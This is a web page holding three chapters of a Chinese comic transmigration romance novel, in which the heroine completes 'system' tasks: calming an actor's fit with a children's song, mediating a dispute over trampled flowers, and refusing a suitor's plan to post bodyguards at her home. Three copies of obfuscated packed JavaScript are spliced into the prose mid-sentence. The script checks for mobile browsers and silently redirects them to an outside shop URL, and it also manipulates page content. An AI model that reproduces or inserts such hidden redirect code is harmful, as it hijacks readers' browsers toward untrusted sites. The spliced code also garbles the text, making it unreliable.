RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742093|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得这话的重点是那句“自带特效”,能给他省下后期的钱是吧! 虽说这是份相当挣钱的工作,这个奖品听起来好像还不错,但根据系统描述,她无法依靠任何原文设定以外的方式获取钱财,所以祁冉并不想给自己多找麻烦。 她装出惊讶与惶恐的神情:“不行,凌先生,这份奖品太贵重了,我不能收下。” “如果泪儿小姐不答应的话,那我宁可从此退出演艺圈,再也不参演任何作品。”凌千幻坚持道,“泪儿小姐,我想你明白我对艺术有多么热爱与执着。现在我已经见到了这世界上最完美无瑕的艺术品,你让我又怎么能忍受那些残缺的、不堪的艺术?” 祁冉很想趴在凌千幻的耳边大喊“你清醒一点”,今天早上他才认识她,连一天都不到,怎么能整出一副《罗密欧与朱丽叶》的悲情啊! 不过看他的架势,祁冉要是不答应凌千幻的邀请,他可能会悲愤交加地把自己和她一起饿死,这样的话她就无法完成任务了。 于是祁冉迅速调转方向,为了跟上凌千幻的节奏,她不得不表现出感动万分的模样:“对不起凌先生,是我忽视了这一点。可是,我真的能胜任女主角这样重要的位置吗?” “当然可以!”凌千幻笃定地说道,“这个世界上没有人会比你更适合出演女主角!” “好,我答应你。”她哽咽着说道,“事已至此,我们先吃饭吧。” 这个任务真是太考验演技了,她差点要绝望得哭出来。 听到祁冉答应了自己的要求,凌千幻一秒切换感情模块,他欣喜万分地让她留下联系方式,又忙不迭地叫来侍者们上菜。 见到一队侍者款款走来的身影,祁冉坐在桌旁和凌千幻友好聊天,脸上洋溢着欣喜的笑容。 这个任务终于要结束了! 但随着侍者取开一个个餐盘盖,祁冉脸上的笑容又逐渐消失。 她疑惑地看向坐在旁边的凌千幻:“这些盘子为什么都是空的?” 凌千幻淡然一笑:“因为食物的形式并不重要,我们应该享受的是它其中蕴含的本质概念,而它应该是流动的,完美的,包罗万象的。在我发现一切实物都无法表现出登峰造极的艺术后,我就彻底摒弃了它们,那些庸俗的实体只配用来当餐前点心,它们没有资格出现在正餐时的餐桌上。” 祁冉翻译了一下他的话:“所以,我们的午餐就是空气?” “从表面上来讲是的,但它并不只是这么简单。”凌千幻解释道,“在咀嚼食物的时候,你可以闭上眼睛,静下心来仔细品味。很快你就会发现,你想要尝到什么味道,它就会具有什么味道,这就是真理的奇妙之处,它海纳百川。” 祁冉明白了,这就是画饼充饥的加强版,凌千幻甚至连饼都没给她画,全靠她自己想象。 祁冉一边嚼空气一边想,幸亏她在来的路上就已经差不多吃饱了,要不然等她空着肚子坐到这里喝西北风,估计得两眼一黑当场晕过去。 这时,周围又猛地响起一阵令人毛骨悚然的阴乐。 祁冉被吓了一跳:“凌先生,这是怎么回事?” “别害怕,这是我在为这些食物奏响哀乐。”凌千幻悲伤地说道,“它们用生命填饱了我的肚子,我们应该向它们致以深切的哀悼,愿它们的灵魂早日安息。” 祁冉真是不想再和他多说一句话,索性闭上双眼装出沉浸在食物味道中的陶醉神情,摆脱凌千幻那张脸,眼不见为净。 好在她听见了任务成功的提示音,这多少为她带来了些许心理上的慰藉。 接着,从凌千幻的方向传来一阵痛苦的哀嚎声。 祁冉有些愤怒地睁开眼睛:“凌先生,又怎么了——” 她的话还没说完,就因为眼前的景象而惊恐地站起身,连椅子都险些被她的动作掀翻。 只见凌千幻双手抱头,整个人都蜷缩成一团,面目狰狞,还发出阵阵嘶吼和怪叫,像极了妖怪要现出原形的场面。 他怎么突发恶疾啊! 祁冉慌忙问他:“凌先生,你怎么了,没事吧?” 凌千幻还是那副扭曲而痛苦的模样,并没有理会祁冉。 祁冉意识到凌千幻好像真的出事了,连忙高声呼救:“来人,快来人!” 13. 神兵天降 然而,比侍者更先到来的是凌千幻的魔爪。 他出手的速度极快,祁冉甚至还没来得及看清他的动作,就已经被他紧紧钳制在怀里,扼住了命运的咽喉。 “你是何人,竟敢接近本王?”凌千幻的眼中迸射出凶狠嗜血的杀气,“你难道不知,吾乃妖界魔尊,幻影之主?” 救命啊凌千幻怎么变成古风小生了,还是玄幻版的! 他这是在演戏吗? 考虑到凌千幻的情绪不是很稳定,祁冉瑟瑟发抖,尝试先让他冷静:“凌先生,我是泪儿,你不认识我了吗?我们有话好好说,你先放开我……” “好吵。”凌千幻毫不留情地打断她的话,“女人,闭嘴。” 他好霸道啊! 在两人对话的时间内,凌千幻家中的管家已经听到祁冉的呼救声,带着侍者匆匆赶来了餐厅。 他带领众人慌忙上前:“凌先生!” “都别过来!”凌千幻激动地吼道,更用力地掐住祁冉的脖颈,“谁要是敢过来,我就杀了这个女人!” 祁冉看了看窗外,外面竟然没有下雪。 她冤枉啊! 她只是跟着凌千幻来吃饭,吃了一肚子空气不说,还要被他当人质! 而且她和凌千幻家里的人又不熟,他们肯定会优先对他施救,谁会在乎她的性命? 求人不如求己,祁冉当机立断,率先掌握主动权,大声喊道:“你们听从凌先生的命令,都不要动!” 她这一嗓子镇住了在场的众人,为她换来了继续说话的机会:“管家,凌先生这是怎么回事,以前出现过这种情况吗?他这种症状持续多久了?” “凌先生这是发病了,他现在应该是处于幻觉中。”管家冷汗直冒,“他从小就患有严重的心理疾病,每隔一段时间就会发作一次,具体间隔时间不定,但通常会在与人长时间交际后发作,因为他讨厌与人交往,这很耗费他的精力。从昨天到现在凌先生就一直连轴转,恐怕就是这个因素诱发了他的疾病。” 虽然艺术家的心理大多都不太健康,这个故事里的男主也都不正常,但祁冉没想到,凌千幻是真的在生理意义上的有病啊! 祁冉的喉咙被掐得越来越紧,她的时间并不多,加快语速问道:“那他发病时有什么办法可以让他冷静下来吗?” “凌先生的疾病罕见,至今为止医学界没有出现相似病例,各种药物对他也都不起作用,所以没有人能给出明确的治疗方案。”管家紧张地看了看凌千幻,“过去他每次发病时,我们都只能和他保持安全距离,看着他自己冷静下来。” 祁冉觉得,等凌千幻冷静下来的时候,她也凉得差不多了。 就在这时,系统突然跳了出来,为祁冉指出行动方向。 【剧情:泪儿受邀来到凌千幻的豪宅共进午餐,凌千幻却在此时意外发病。面对生命危险,勇敢的泪儿临危不惧,用自己的善良与机智将凌千幻从痛苦中拯救并温柔地安抚他,从此凌千幻便一发不可收拾地爱上了这个聪明勇敢又善良温柔的女孩。】 【任务:沉着应对危机,想办法让凌千幻镇定下来恢复意识,事后对他表达关心并婉拒他的谢礼。】 祁冉确信自己小时候绝对是偶像剧看多了,如果她在现实中遇到这样的情况,在危险解除后肯定是能躲多远躲多远,怎么可能还会凑上去关心他啊! 而且系统也是看热闹不嫌事大,在这节骨眼上它不帮自己也就算了,竟然还火上浇油地发布这种让她自己补足剧情细节的任务。 但吐槽归吐槽,为了保命,祁冉还是迅速运转着大脑,一边和凌千幻闲聊转移注意力,一边极力思索着让他冷静下来的办法。 “凌先生,你的言行举止一直都讲究优雅,对吧?”她从喉咙里艰难地挤出声音,“但你现在的行为好像不是很有艺术感,我们要不要换个姿势?” “艺术……”凌千幻喃喃自语,手上的力道有所松懈。 祁冉还没来得及高兴,他又重新掐紧了她,甚至比刚才还要用力。 他激愤地说道:“你们人类也配讲艺术?是你们自己说的,艺术就是爆炸,所以你们发动战争,造成尸横遍野、生灵涂炭的场面!” 他入戏太深了吧! “不,我们的艺术不只是这样。”祁冉呼吸困难,极力辩解道,“搞艺术的也有坏人,比如某个落榜美术生……但你不能否认我们也有温暖积极、治愈明快的艺术。” 祁冉猛地停住话头,她发现自己在无意间已经说出了解决办法。 用歌声感化反派是动画片中的常见套路,而且凌千幻又酷爱音乐,说不定会对他起作用。 于是她顺着刚才的话题说道:“比如,我可以为你唱一首歌。” 凌千幻对祁冉这句话产生了兴趣,于是放开她的脖颈,转而将胳膊横在她胸前,勒着她不能乱动。 “那我倒是要听听,你口中的‘温暖的艺术’是什么。” 因为新鲜空气猛然灌入喉咙,祁冉不由得发出一阵剧烈的咳嗽:“咳咳、好。” 在调整呼吸的同时,祁冉回顾了一些自己记得的歌曲,想在其中挑出一首最合适的演唱曲目。 众所周知,感化反派时唱的歌曲至关重要,这关系到祁冉的性命安危,她必须谨慎选择。 思来想去,祁冉确定了一个最佳答案。 她目光如炬地看向前方的众人,用坚定的信念感唱响了童年神曲。 “雨点一滴滴地落下……” 没错,这是《神兵小酱》的片尾曲,也是大名鼎鼎的“变傻之歌”《不怕》,它的主角是疑似和南宫冷夜有着亲缘关系的南宫问雅,在她净化魔兽时,这首歌曾多次作为bgm出现。 多应景啊! 随着祁冉一句句地唱下去,餐厅内的众人都陷入一片静默,凌千幻也没有任何反应,所有人的眼睛都死死地盯住她,祁冉的心里越来越慌张。 先不说在这种紧要关头,她一个人当众清唱儿歌有多么尴尬,要是这首歌不起效,那她就没命了! 然而,就在她唱到高潮部分时,奇迹发生了。 “我有勇气我都不怕,哪管寒冬炎夏……” 面前的众人像是如梦初醒一般,管家和侍者都和着歌曲的节奏拍起了手,齐声跟唱。 “我很坚强大步地跨,我停不住步伐……” 一道低沉的男声在耳畔轻轻呢喃,祁冉惊异地看向凌千幻。 他怎么也跟着唱起来了? 竟然还开始流泪了! 很快餐厅中就充满了一阵呜咽声,每个人都热泪盈眶,但他们沉醉在美妙的歌声中,甚至没有人愿意花时间去擦一下自己哭出来的眼泪和鼻涕。 不是,他们怎么都这么感动啊! 管家不知道从哪里变出来一大捧花,走上前来将它献给祁冉,对她发表他的听歌感言:“这是我代表凌家上下所有人献给你的,感谢你为我们带来这样动听的音乐。在这个世界上,我们还是第一次听到这样温暖的歌声。” 说完,他不顾祁冉的热情挽留,毅然决然地回到众人中间,继续为祁冉打起了节拍。 祁冉的生命全都寄托在这首歌上面,所以她也不敢停下来,只能眼含热泪地看着希望朝自己远去。 他来都来了,好歹把她从凌千幻身边带走啊! 管家救一下啊管家! 唱完最后一句,在场的所有人都爆发出雷鸣般地掌声,所有人都沉浸在祁冉歌声的余韵中,他们热情地拥抱彼此,分享着心中的感动。 祁冉根本不敢动,她惊魂未定地看向身旁的凌千幻,却发现他的眼神正逐渐变得清澈。 “……我这是怎么了?”凌千幻回过神来,他惊异地看着自己的双手,连忙放开祁冉,“泪儿小姐,抱歉。” 祁冉终于恢复了行动自由,她赶紧和凌千幻拉开距离,方便她随时逃跑,但嘴上还是很大度地说道:“没关系,只要凌先生恢复了就好。” 只要凌千幻保持正常状态,在场的所有人就都安全了! “看来我又犯病了。”凌千幻看见祁冉刻意和他保持距离,心中泛上一阵酸涩,“对不起泪儿小姐,我吓到你了。你受伤了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742094|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “放心,我没事。”祁冉勉强挤出一个笑容,“反倒是你,凌先生,你现在有没有觉得身体不适?” “没有。”凌千幻黯然神伤地看向祁冉,“泪儿小姐,刚才我差点伤害到你的性命,可是你还这样关心我,我真不知道该怎么感谢你……” 说着说着,他的声音颤抖起来,最后几个字完全被啜泣揉成了破碎的音节。 祁冉都看傻了。 不至于吧兄弟! “凌先生你别这样说,我也没做什么。”无功不受禄,祁冉被夸得有些心虚,“我相信任何一个善良的人处在这种境况下,都不会对你的病情坐视不管的。” “不,不是这样的。”凌千幻沉浸在悲伤中,抬起朦胧的泪眼说道,“很早以前我就发现了,世界上的所有人都厌恶我,他们恨不能将我斩草除根,让我永世不得超生,所以从那时起我就对这个世界感到绝望了。” “可是泪儿小姐,你和他们不一样。”他紧紧攥住祁冉的手,恳切地说道,“从你刚才的歌声中我听得出来,你是一个温柔善良的人。谢谢你,因为你的存在,我重拾了对这个世界的信心。” 祁冉感慨,凌千幻不愧是影帝,这体验派演技够内娱学一辈子。 但这话听起来怎么那么像渣男经典语录? 祁冉耐心劝解着面前的厌世文艺青年:“凌先生,这个世界的确没有那么糟糕。曾经有一段时间我也和你一样,认为这世界上没有人真正喜欢我,所有人都在针对我。但后来我发现,这其实只是我的主观看法而已。” “是吗?”凌千幻惊讶道,“会有人不喜欢泪儿小姐吗?” “那当然。”说着,祁冉举了一个例子,这个故事改编自她的亲身经历。 那是祁冉小学时候发生的事了,她有天中午出去玩过了头,下午上学时不小心迟到,结果被老师叫去讲台前罚站,班里看热闹的同学在座位上偷摸着嘲笑她,后来她爸妈听说这件事,还把她狠狠地批评了一顿。那一天,她痛恨老师,痛恨同学,痛恨家长,并且发誓绝对不会再给这个世界好脸色,等长大以后她要成为一个冷酷嗜血的杀手,看谁不爽就崩谁。 不过她这个伟大梦想的寿命有些短暂,死因是当天晚上她家里人把她带出去吃了一顿烧烤。 听完祁冉的故事,凌千幻脸上的忧郁已经完全被笑容取代:“泪儿小姐,你真幽默。” 祁冉觉得他好像误会了什么:“我没在开玩笑,这些都是真的!” “好的,我明白。” 凌千幻笑了一阵,言归正传道:“泪儿小姐,我很感谢你今天对我做出的帮助,我愿意满足你的一切条件。说吧,你想要什么?” 除了任务要求以外,祁冉自己也确实不想要凌千幻的报酬。 他都这么不正常了,给的东西还能要吗! “就像我刚才说过的,换做其他人面对今天的情景,也会和我做出同样的举动。”祁冉微笑道,“所以,你的好意我心领了,但我不需要你送我任何谢礼。” 两人来回拉锯了一阵,在凌千幻松口的同时,祁冉也听到了任务成功的提示音。 “那好吧,我们继续吃饭。” 凌千幻瞥到餐桌上的盘子,突然意识到一件事:“抱歉,刚才因为我的事耽误了时间,这些菜都凉了。我让他们再热一遍吧。” 反正都是吃空气,冷和热有什么区别? “不用了。”眼看着凌千幻就要叫侍者,祁冉赶紧阻止他的动作,“我已经吃饱了。” 凌千幻疑惑道:“泪儿小姐怎么只吃这么一点,是饭菜不合你胃口吗,还是我招待不周?我——” 祁冉没听清凌千幻后面说了些什么,因为他的声音被淹没在了螺旋桨的轰鸣声中。 她惊异地看向窗外,只见一辆直升飞机正悬停在空中,下方的花草都被它带起的气流吹得低伏在地面上。接着,她听到扩音器中传出一个问句。 “泪儿小姐,请问你在里面吗?” 这情况看着像是什么救援部队。 神兵小酱怎么变成神兵天降了? 14. 荒诞派戏剧 祁冉还没搞清楚当前情况,因此不敢轻举妄动,只是盯着窗外的那架直升飞机,静观形势发展。 一队侍者匆匆赶来,向凌千幻通报情况的同时,也回答了祁冉心头的疑问。 “凌先生,他们是慕容家族洛玄少爷的人。”为首的侍者飞快地说道,“他们听说泪儿小姐在这,非要闯进来找,我们没能拦住。” “知道了。”凌千幻摆摆手示意侍者退下,他望向窗外,脸上露出不快的神情。 祁冉估摸着,除了他对“慕容”二字的排斥以外,他还在为另一件事生气。 他在心疼园子里的那些花草! 她在跟随凌千幻来吃饭的路上就听他说过,他不允许园中的植物受到汽车尾气的污染,现在倒好,进来的已经升级成直升飞机了,还吹倒了那么大一片花草。 如果待会系统发布新任务,那里面肯定会有“劝架”这项要求。 不过,洛玄为什么会突然来这里找她? 在祁冉思绪纷飞的时候,从直升飞机的悬梯上已经下来了一队保镖,他们当中有个熟悉的身影,那人正是洛玄。 然后,在凌千幻的命令下,侍者上前打开了落地窗,请洛玄和他的保镖们从窗户进入。 毕竟他们走正门的话,要用一小时才能通过走廊来到餐厅,那种场面应该有些尴尬。 “凌先生,未经邀请冒昧打扰,实在抱歉。”洛玄上前,先恭敬地向凌千幻颔首道歉,而后又冲祁冉点点头当作打招呼。 “哪里,洛玄少爷虽然也是慕容家族的一员,但没有你大哥那样的高傲,这已经非常难得了。”凌千幻拐弯抹角地讽刺着慕容绝,转而问道,“洛玄少爷突然来访,是有什么急事吗?” 洛玄看向祁冉:“我给泪儿小姐打电话却一直无人接听,我担心她出了什么事。” “你给我打电话了?”祁冉赶紧从兜里掏出她的粉色翻盖手机,在看到手机屏幕时才发现,最上方的信号格竟然是空的,顶部显示着一个红色的“×”。 难怪她没听到电话铃声。 祁冉疑惑道:“凌先生,为什么这里没有信号?” “因为我说过,我们享受的应该是纯天然原生态的艺术,任何科技手段都是对它的玷污。”凌千幻微微一笑,“所以,我屏蔽了这种高科技的人造产品。” 祁冉目瞪口呆。 好一个出尘脱俗的野人! 感觉他迟早会和星痕打一架。 洛玄见状也明白了祁冉不接电话的原因,于是没在这个话题上过多停留:“既然泪儿小姐没事,那我就放心了。不过……” 他看看窗外已有暮色的天空,转而说道:“泪儿小姐从这里回家还需要一段时间,她现在应该离开了。” 洛玄这话提醒了祁冉,靠走路的话,她从这里到大门口至少得五个小时。 还没等祁冉发话,凌千幻抢先说道:“洛玄少爷不用担心,我会送泪儿小姐回家的。” 洛玄沉默了一下:“等你们走出大门就已经是半夜了,泪儿小姐是异性,这么晚才出发,不太合适吧?” 祁冉觉得洛玄刚才应该也挺想吐槽的。 “有什么不合适的?”凌千幻笑了笑,“难道洛玄少爷担心我对泪儿小姐图谋不轨?” “不,我相信凌先生的人品,但您是万众瞩目的影帝,身边少不了捕风捉影的人,我想还是不要让泪儿小姐遭受莫名的舆论压力比较好。” 洛玄简洁地讲出自己的考量,而后便不再多言,拉起祁冉的手腕就要走:“正好我是乘机过来的,就由我送泪儿小姐回去吧。” 洛玄刚才的话有理有据,让人无法反驳,凌千幻正在为自己的落败而感到不甘,突然捕捉到他话中的一个突破口。 “洛玄少爷,请等一下。”凌千幻从容不迫地说道,“说到飞机,那我就要和您谈谈我园中被您损毁的那些花草了。” 祁冉心里“咯噔”一下。 来了,它来了,任务来了! 【剧情:因为泪儿的电话无人接听,洛玄乘专机来到凌家寻找泪儿,飞机螺旋桨带起的气流吹倒了凌千幻的花草。凌千幻本来就在为那些花草的逝去而伤心,加上他不愿意让泪儿过早回家,便以此为借口要赶走洛玄,可洛玄不肯让步,便和他争吵起来。善良的泪儿见状主动站了出来,用她的智慧平息了纷争,成功调解了两人的矛盾,由此两位男主也进一步地提升了对她的好感。】 【任务:在凌千幻和洛玄发生争吵时制止他们并调停二人之间的矛盾,乘坐洛玄的直升飞机回家,并询问他给自己打电话的原因。】 祁冉现在很害怕在剧情和任务描述中见到“聪明”“智慧”等字眼,这通常意味着系统要当甩手掌柜,只给她戴个高帽,让她自求多福。 对于凌千幻提出的问题,洛玄会意地说道:“我明白,凌先生的园林都是请园艺大师精心设计并由专业人士悉心照料与养护的,价值连城。今天我也是为了找泪儿小姐,一时着急多有冒犯,我在这里向您道歉。” 他对凌千幻深深地鞠了一躬,语气平静道:“所以,我会按照市场价格的十倍赔偿您的损失,还望凌先生海涵。” 祁冉一言不发地旁观着两人谈话,期盼他们快点吵起来好让她做任务。 凌千幻轻轻摇头:“不,洛玄少爷您误会了,我不是要求您照价赔偿我的损失。您也知道,当一个人的财富积累到了你我的这种程度时,他就不会在乎那一点点得失了。” 祁冉也好想体验一下这种认为金钱无足轻重的感觉。 “所以,凌先生是想让我以其他形式赔偿您?”洛玄的眉尖微蹙,他向来不喜欢拖泥带水的说话方式。 “您根本不可能赔偿我的损失。”凌千幻面露忧伤,“那些花草都有自己独特的灵魂,它们都是和是我朝夕相伴的挚友。哪怕我再买些和它们一模一样的,它们也并不是原来的那些植株。就和人一样,一条生命逝去了就不可能再复原,而任何人都无法代替那位逝者。” 洛玄的眉头皱得更紧了,似乎是觉得对方的话十分费解。 “那凌先生是什么意思?” 祁冉在心里给凌千幻暗暗鼓劲。 很好,就照这个趋势继续发癫,不出十秒洛玄就会和他吵架了! “从今天起,你和我园中的花草就结下了血海深仇。”凌千幻痛心疾首地说着,“我听到它们说,‘我们不欢迎你,泪儿小姐也不应该和你这样的人在一起!’” 模仿完花草的声音,凌千幻又直起身子换回了自己正常的声线:“所以,洛玄少爷请回吧。” 洛玄严肃道:“凌先生,你认为我会相信你这种滑稽荒谬的理论吗?” 祁冉憋笑憋得浑身都在颤抖,虽然洛玄也不是什么正常人,但此刻和凌千幻相比,他的症状还算是轻的,他没骂凌千幻有病已经是相当有涵养了。 “滑稽,荒谬?”凌千幻像是听到了什么粗鲁的词汇,脸上的神情转变为怒不可遏,“我就知道,人类总是这样,对于自己不了解、不清楚的事物,总会傲慢地将它们划归到秩序与常识之外,而不愿意费神去从另一个角度思考,有没有可能是自己太过无知。” 洛玄的语气冷峻:“凌先生,我们正在讨论的是解决问题的方案,请你不要转移话题。” “我也说过了,最好的办法就是你立刻从我家里消失。”凌千幻的举止依然端庄,但声音中带上了明显的怒气,“洛玄少爷,我既没有让你照价赔偿,也没有提出任何不切实际的要求,我已经足够宽容了。” “洛玄少爷,凌先生,二位都是我的朋友,还请你们不要吵架。” 见凌千幻一副义愤填膺的模样,祁冉生怕他再突然发病,连忙上前劝架,对两人笑了笑以缓和气氛:“有问题我们可以一起商量着解决。” 她决定先稳住凌千幻:“凌先生,洛玄少爷说得没错,如果我半夜才离开凌家,会对你我都带来麻烦。而且我也有些累了,不如趁这个机会让洛玄少爷送我回去。” “当然,我的意思并不是说这件事就这样算了。”眼看凌千幻就要发作,祁冉及时说出接下来的话,“我保证会让洛玄少爷给您拿出一个满意的解决方案。” 说着,她走到洛玄身边,对他低声耳语道:“洛玄少爷,凌先生患有严重的心理疾病,思维方式和正常人不同。所以,为了早日脱身,请你按照我的办法行事。” 洛玄愣了愣,他看向对面的凌千幻,眼神中带上了几分同情和怜悯。 他没必要和一个病人计较。 于是他点点头,同意了祁冉提出的办法。 “凌先生,刚才经过泪儿小姐的讲解,我已经充分意识到了我的错误,也被您这样细腻敏感的心灵所震撼。”洛玄诚恳地说道,“刚才我对您出言不逊,是我太傲慢了。我想,面对生命的逝去,任何物质表达都是苍白无力的,它们都是浮于表面的东西,不能触及真正的灵魂。” “什么?”凌千幻惊异地抬头,“洛玄少爷,您能够理解我的思想?” “像您这样高雅的艺术家总是孤独的,我只是受到您的感染,稍稍领悟了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742095|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些道理罢了。”洛玄坚定地说道,“我决定为那些损毁的花草办一场隆重的葬礼,邀请业界各个领域的翘楚前来为它们致以深切的哀悼与歉意。” 祁冉觉得洛玄的演技也是一流,说得和真的一样。 “洛玄少爷,我没想到您会说出这种话。您有这样诚挚的心意我就相当知足了。”凌千幻有些恍惚,他看向祁冉说道,“泪儿小姐,你说得没错,这世界并没有那么糟糕。” “是的,只要我们能够坦诚相待,互相理解,这世界一定会变得更加美好!” 祁冉说出一句主角经典发言,笑容明媚地看着握手言和的两位男主。 她终于可以离开凌千幻这个神经病了。 而且也不用再步行五小时回家了! 在飞机上坐定后,祁冉发现,不知道是不是受到刚才这场闹剧的影响,洛玄显得比往常更加沉默,目送着凌家的那些建筑物逐渐远去、缩小,最后变成一个个积木似的块状物,上面缀有星星点点的灯火。 祁冉还惦记着她的任务,于是试图拉回洛玄的注意力:“洛玄少爷,你给我打电话是有什么事吗?” 然而,他却没有正面回答祁冉的问题,而是目光深沉地看向她。 “泪儿小姐,我觉得凌先生说的话不无道理。” 祁冉觉得莫名其妙,他难道还沉浸在刚才和凌千幻的对话里? “你是指哪一句?” “每一句。比如草木有灵,可我今天居然亲手杀了那么多花草,我真是一个十恶不赦的刽子手。”洛玄沉痛地看着自己的双手,上面像是沾满了罪恶的血污,“再比如……” 完了,洛玄这是被凌千幻同化了。 所以,虽然看上去大家的行为都充满了戏剧感,但搞了半天其实只有她一个人在演,凌千幻和洛玄都是认真的! 她差点忘了洛玄也不是什么正常人,让这群神经病凑在一起,那可不就是病友交流大会吗? 祁冉害怕极了,奋力把话题往回拽,让洛玄恢复正常:“我也是这样认为的,所以你找我到底有什么事?” “噢。”洛玄终于想起了正事,言辞恳切地说道,“泪儿小姐,首先我要向你道歉。” 祁冉怔道:“道歉?” “你还记得吗,艾利牛顿开学的那天,你撞坏了表哥的车,引起了他的注意,所以他让我帮他打探你的消息。当然,我并不是为了这个目的才接近你的。”洛玄解释道,“但后来某天,他从我嘴里套出了你的名字,我对我的疏忽深表抱歉。我知道,以我表哥的实力,只要他得知任何一条有关你的信息,就能够完全掌握你的行动。” 祁冉点点头,她见识过慕容绝开盒的能力:“这些我已经从慕容少爷那里听说了。没关系,这不是你的错,我不怪你。” 这是剧情杀! 洛玄见祁冉这样善解人意,不由得心头一暖。他歉疚地笑笑,继续说了下去:“所以,为了防止你遇到危险,我在暗中派人监视着你的行动,一旦发生异常状况就要及时向我汇报。” 祁冉露出尴尬而不失礼貌的微笑:“谢谢洛玄少爷,你考虑得真周到。” 好了,现在她知道自己的隐私不止泄露给一个人了。 要不怎么说“不是一家人,不进一家门”呢,这俩真不愧是兄弟。 “但我没想到表哥这么卑鄙,会专门挑我不在的时间下手。”洛玄气愤道,“昨晚我去国外公司考察,本来要到今天晚上才能回来,我听说表哥胁迫你和他同行,就提前了回国的行程。但我赶到家的时候,表哥已经回来了,却不见你的踪影。” “他告诉我,是凌先生因为竞拍名画和他起了冲突,然后带你去了他家。为了求证这件事的真实性,我给你打了电话,但电话那边一直无人应答,我实在放心不下,所以才会直接去凌家找你。” 洛玄讲述完事情的经过,郑重其事地说道:“泪儿小姐,表哥从小就是这样独断专行的性格,对你造成了困扰,我再次为他对你做出的无礼行为道歉。” “没关系。”祁冉笑笑,“这件事没有对我造成什么影响,你不用道歉。” 毕竟说到底这些人物的基础性格都是她自己写的,她自食其果也怨不得别人。 听到祁冉这样说,洛玄心里轻松了几分,微微一笑道:“泪儿小姐果然大度。” 他说完这句话后,机舱内的空气重新回归宁静。似乎是为了不让自己冷场,洛玄停顿几秒,又想起一个新话题,抬起头和祁冉闲聊。 “对了,你觉得我表哥是个什么样的人?” 15.保安大队 在洛玄提到慕容绝的时候,祁冉脑子里瞬间浮现的三个形容词分别是“傲慢”,“自大”,“没礼貌”。 但祁冉觉得当着洛玄的面骂他表哥好像不太礼貌,而且她也不喜欢在一个人背后说他坏话,便换了个委婉的说法。 祁冉微微一笑:“我觉得他尊贵,自信,很直率。” 什么叫语言的艺术啊! 洛玄注视着祁冉,他的脸上充满了不可置信的神情,像是听到了什么前所未有的奇闻。 他惊异地说道:“泪儿小姐,你……” 祁冉有点紧张地问:“怎么了?” 难道她说错话了? “我没想到在经历了这样的事之后,你还能对表哥给出这样高度的评价。”洛玄感慨万分地说,“你果然拥有这个世界上最纯净的灵魂和金子般闪耀的品德。” 有时候祁冉真想给这些男主建一个夸夸群,为什么他们总能变着法地从各种刁钻的角度夸人? 她尴尬地笑了笑:“洛玄少爷,你过奖了,我哪有你说得那么……” 洛玄坚持道:“不,连你自己都没有发现你有多么美丽的心灵,这正是你高尚品德的体现。” 祁冉摆烂了,索性随他继续说下去,不再阻止他对自己的吹捧。 “泪儿小姐,这个世界充满了危险,可你是那么善良,那么单纯,我很担心你会受到伤害。所以,我必须采取措施保护你的安全。” 他持之以恒地自我攻略着,这使他充满了决心。 洛玄环视着直升飞机内全副武装的安保人员:“我决定了,我要把我的这些保镖都安排在你家里,让他们全天候无死角地保护你。” 祁冉一听慌忙阻拦他:“洛玄少爷,我明白你是挂念我的安危,但我家所在的小区很安全,你不用让这么多人保护我……” 以前洛玄和慕容绝在暗中窥探自己的隐私也就算了,现在竟然还要进化到明目张胆的监视。 她怎么觉得这才是洛玄带这么多人来送她回家的真实目的? 而且这世界上最危险的人分明就是这群男主本身啊! 但小时候的祁冉并不这么认为,一声提示音响起,系统为她发布了新任务。 【剧情:解决问题后泪儿乘坐洛玄的专机回家,洛玄提出要安排保镖保护泪儿的安全,可坚强的泪儿不愿给他人带来麻烦,最后两人各退一步,由洛玄的保镖对泪儿身边的危险进行排除,一行人到家后不久星痕也突然来访,加入到他们的工作中。在这个过程中,洛玄和星痕发现泪儿的生活还处在原始而混乱的状态,他们见状心疼不已,再次邀请她加入科技协会,会费可以在随后慢慢补齐。面对两人的一片赤诚,泪儿深受感动,终于答应他们的邀请,和星痕、洛玄一起进行科学研究。】 【任务:同意洛玄和保镖在你家中排除危险并配合他们的行动,在星痕到访后允许他协助工作,当两位男主再次提出让你加入科技协会的邀请时先婉拒,在他们的坚持下松口答应,并于第二天如约前往科技协会的活动室制作发明。】 看到最后一句话时,祁冉差点被气晕过去。 兜了这么个大圈子,故事又回到了最初的起点,那一天,她来到艾利牛顿报道,提出了加入科技协会的申请,然后又因为交不起会费而坚决离开。 那前面她费这么大劲过的那段剧情到底有什么用,只是为了让她和几个男主多拉扯一段时间吗? “你看,泪儿小姐,正如我所说,你太善良太单纯,以至于把这个世界想象得过于美好。”洛玄还在劝解祁冉,“既然你拥有世界上最纯净的灵魂,一定会有很多心怀不轨的人被你吸引,你身边从来都是危机四伏,可你却对此浑然不觉。” 其实他这话说得也没毛病,毕竟“能吸引世界上一切生物”的设定是直接写在她的人物简介里的。 